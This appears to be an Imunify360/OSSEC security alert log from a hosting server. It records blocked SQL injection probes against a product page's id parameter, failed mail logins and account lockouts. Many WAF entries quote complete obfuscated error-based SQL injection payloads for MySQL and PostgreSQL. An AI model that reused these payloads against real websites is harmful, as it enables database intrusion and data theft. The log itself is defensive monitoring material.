name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/ROW(1131,3336)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1131=1131,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2643/**/UNION/**/SELECT/**/3166/**/UNION/**/SELECT/**/8705/**/UNION/**/SELECT/**/8430)a/**/GROUP/**/BY/**/x)# rBUHphHo HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))AND/**/ROW(5240,10683)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5240=5240,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/3465/**/UNION/**/SELECT/**/1956/**/UNION/**/SELECT/**/7487/**/UNION/**/SELECT/**/10240)a/**/GROUP/**/BY/**/x) AND (('I4aYDT5p' LIKE 'I4aYDT5p||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'/*!50000AND*/ROW(5329,1725)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5329=5329,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9501/*!50000UNION*//*!50000SELECT*/10280/*!50000UNION*//*!50000SELECT*/9591/*!50000UNION*//*!50000SELECT*/6090)a/*!50000GROUP*//*!50000BY*/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:43:30 dovecot_login authenticator failed for H=(4avf3UX5F1) [178.16.52.139]:52826: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'))and/**/row(5240,10683)>(select/**/count(*),concat('~',(select/**/(elt(5240=5240,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/3465/**/union/**/select/**/1956/**/union/**/select/**/7487/**/union/**/select/**/10240)a/**/group/**/by/**/x) and (('i4aydt5p' like 'i4aydt5p||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))AND/**/ROW(5240,10683)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5240=5240,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/3465/**/UNION/**/SELECT/**/1956/**/UNION/**/SELECT/**/7487/**/UNION/**/SELECT/**/10240)a/**/GROUP/**/BY/**/x) AND (('I4aYDT5p' LIKE 'I4aYDT5p||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:43:37 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:43:11 dovecot_login authenticator failed for H=(x5DyEaoIW) [165.154.217.204]:58254: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1)and/**/row(5295,8308)>(select/**/count(*),concat('~',(select/**/(elt(5295=5295,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10526/**/union/**/select/**/9806/**/union/**/select/**/5751/**/union/**/select/**/6419)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.177.204.4
country_id: 1269750
description:
2026-02-02 05:43:45 dovecot_login authenticator failed for H=([103.177.204.4]) [103.177.204.4]:44288: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:43:57 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:44:08 dovecot_login authenticator failed for H=(CZ2YYY3) [165.154.217.204]:64048: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:44:14 dovecot_login authenticator failed for H=(TgcY5Hj9Y8) [158.94.208.175]:54119: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7597=7597,1))),%27~%27),7597) AND (\"UGhD4swB\"=\"UGhD4swB\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:44:36 dovecot_login authenticator failed for H=(LE0xgvkKYM) [165.154.217.204]:50190: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:44:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49847: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:44:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:32976: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(1980=1980,1))),%27~%27),1980) AND 'JcNYBOFJ' LIKE 'JcNYBOFJ||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:44:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:44:03 dovecot_login authenticator failed for H=(uQH64X6YXv) [77.83.39.253]:55125: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"))and/**/gtid_subset(concat('~',(select/**/(elt(3318=3318,1))),'~'),3318) and ((\"rn4vqist\"=\"rn4vqist\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:44:24 dovecot_login authenticator failed for H=(SQ9UGDg8Ue) [178.16.52.139]:56152: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:44:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/gtid_subset(concat('~',(select/**/(elt(5495=5495,1))),'~'),5495) and ('pt2rux7v' like 'pt2rux7v||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(4443=4443,1))),'~'),4443)# 471LQuDT HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.151.134.244
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND /*!50000AND*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(6552=6552,1))),'~'))/**/USING/**/utf8)))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5277=5277,1))),'~'),5277) OR 'FeZxPaaZ'='P2kVuV6m||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.176.204.214
country_id: 1814991
description:
2026-02-02 05:45:28 dovecot_login authenticator failed for H=([117.176.204.214]) [117.176.204.214]:58097: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:45:04 dovecot_login authenticator failed for H=(SnLAr4d) [165.154.217.204]:52592: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.151.134.244
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(9565=9565,1))),'~'))/**/using/**/utf8)))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.146.133.117
country_id: 1835841
description:
2026-02-02 05:45:58 dovecot_login authenticator failed for H=([218.146.133.117]) [218.146.133.117]:39901: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:45:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.112
country_id: 1814991
description:
2026-02-02 05:45:12 dovecot_login authenticator failed for H=([27.24.141.112]) [27.24.141.112]:44372: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:45:36 dovecot_login authenticator failed for H=(zRlGcXmhk) [178.16.52.139]:53424: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(2237=2237,1))),'~'),2237)# xxQPhGeJ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:45:14 dovecot_login authenticator failed for H=(dNIlTlHMQk) [77.83.39.253]:62425: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:45:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61627: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:45:34 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:45:45 dovecot_login authenticator failed for H=(C6O9vIO) [158.94.208.175]:60646: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 51.252.161.40
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/gtid_subset(concat('~',(select/**/(elt(2237=2237,1))),'~'),2237)# xxqphgej||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:46:05 dovecot_login authenticator failed for H=(BJpHRxMIz) [178.16.52.139]:53506: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.151.134.244
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(3742=3742,1))),'~'))/**/using/**/utf8))) and \"dnr4wzjp\"=\"dnr4wzjp\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")))and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(8996=8996,1))),'~'))/**/using/**/utf8))) and (((\"opemzzcm\"=\"opemzzcm\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(8079=8079,1))),'~'))/**/USING/**/utf8)))# PTAQKhcR HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.151.134.244
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(3742=3742,1))),'~'))/**/USING/**/utf8))) AND \"dnr4WZjP\"=\"dnr4WZjP\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:46:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:46:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:46:52 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35192: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:46:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56487: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.2.229
country_id: 1835841
description:
2026-02-02 05:46:16 dovecot_login authenticator failed for H=([218.156.2.229]) [218.156.2.229]:47082: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:46:26 dovecot_login authenticator failed for H=(XGcJ15) [77.83.39.253]:3367: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:46:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:46:12 dovecot_login authenticator failed for H=(vFP5w0TkJ) [165.154.217.204]:57825: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")))AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(8996=8996,1))),'~'))/**/USING/**/utf8))) AND (((\"opemZZcM\"=\"opemZZcM\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:46:50 dovecot_login authenticator failed for H=(3GaD2QRbo) [165.154.217.204]:60689: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/9075=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(9075=9075)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC) AND (\"LNDSPHbY\"=\"LNDSPHbY\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:47:10 dovecot_login authenticator failed for H=(6mPrE5) [165.154.217.204]:62054: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:47:13 dovecot_login authenticator failed for H=(rTU1Sbo) [77.83.39.253]:48507: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/5057=cast(%27~%27||(select/**/(case/**/when/**/(5057=5057)/**/then/**/1/**/else/**/0/**/end))::text||%27~%27/**/as/**/numeric) and (\"zl5fum3r\"=\"zl5fum3r\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'/*!50000AND*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3616=3616,1))),%27~%27))/**/USING/**/utf8))) OR '7UKzTs00'='eDKA28N0||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.247.108.178
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(2800=2800,1))),'~'))/**/using/**/utf8))) and \"ra5iehb4\" like \"ra5iehb4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:47:07 dovecot_login authenticator failed for H=(lmQCtt) [178.16.52.139]:63379: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:47:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:47:15 dovecot_login authenticator failed for H=(yJlZNhYyq) [158.94.208.175]:50096: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:47:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:47:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:47:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51121: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:48:01 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50110: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/1268=cast(%27~%27||(select/**/(case/**/when/**/(1268=1268)/**/then/**/1/**/else/**/0/**/end))::text||%27~%27/**/as/**/numeric) and (('nsg0813h' like 'nsg0813h||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:48:27 dovecot_login authenticator failed for H=(RSI4vlO) [178.16.52.139]:52944: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:48:52 dovecot_login authenticator failed for H=(L8tzWqFoU) [165.154.217.204]:53859: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:48:01 dovecot_login authenticator failed for H=(H18J8q4) [77.83.39.253]:38328: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:48:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/2754=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(2754=2754)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC)# i5Slw45K HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 143.255.85.11
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))ANd/**/1268=cAsT('~'||(sELECt/**/(Case/**/whEn/**/(1268=1268)/**/thEn/**/1/**/ElSE/**/0/**/enD))::TEXT||'~'/**/aS/**/NUMERic) AND (('nsg0813h' LIKE 'nsg0813h||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:48:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1and/**/9735=CaSt(('~'||(SeLEcT/**/(CaSe/**/when/**/(9735=9735)/**/thEn/**/1/**/elsE/**/0/**/end))||'~')/**/As/**/INTEgeR)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:49:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55190: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:48:08 dovecot_login authenticator failed for H=(KPAJ8Uh) [165.154.217.204]:49868: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:48:19 dovecot_login authenticator failed for H=(Mw24AcjJ) [158.94.208.175]:53062: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-02 05:48:38 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:38316: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/9735=cast((%27~%27||(select/**/(case/**/when/**/(9735=9735)/**/then/**/1/**/else/**/0/**/end))||%27~%27)/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:49:08 dovecot_login authenticator failed for H=(A7pjgec) [165.154.217.204]:55209: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-02 05:49:12 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:41938: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/6852=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(6852=6852)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)# 6cq5bUR0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
